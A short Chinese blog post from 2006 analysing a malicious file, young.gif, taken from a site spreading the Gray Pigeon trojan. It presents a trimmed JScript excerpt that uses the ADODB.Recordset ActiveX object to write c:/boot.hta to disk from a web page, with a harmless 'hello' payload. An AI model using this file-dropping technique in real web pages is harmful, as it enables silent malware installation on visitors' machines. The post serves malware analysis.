`
caobihole
  • 浏览: 952236 次
文章分类
社区版块
存档分类
最新评论

利用ADODB写文件——恶意文件young.gif代码的分析心得1

 
阅读更多

purpleendurer 原创

2006-04-08 第1

对 发现一个使用技术升级、下载灰鸽子的网站 中的恶意文件young.gif进行了分析和注释,收获颇多。其一便是利用ADODB写文件。

下面的代码是从young.gif中截取、修改的,用来写入文件c:/boot.hta。



<html>
<HEAD></HEAD>
</HTML>
<SCRIPT language=JScript>
try
{
var strHello = "hello";
//利用ADODB写文件
Rfuc1k1S=new ActiveXObject("ADODB.Recordset");
Rfuc1k1S.Fields.Append("love", 200, 3000);
mike=1;
Rfuc1k1S.Open();
mike=1;
Rfuc1k1S.AddNew();
mike=1;
Rfuc1k1S.Fields("love").Value = strHello;
}
catch(e)
{}

Rfuc1k1S.Update();

try
{
Rfuc1k1S.Save("c://boot.hta" ,0);//保存为c:/boot.hta
}
catch(e)
{}
</SCRIPT>
</BODY>
</HTML>


把它复制/粘贴到记事本里,保存为HTM文件,双击运行。

看看c:/boot.hta是否出来了?

分享到:
评论

相关推荐

Global site tag (gtag.js) - Google Analytics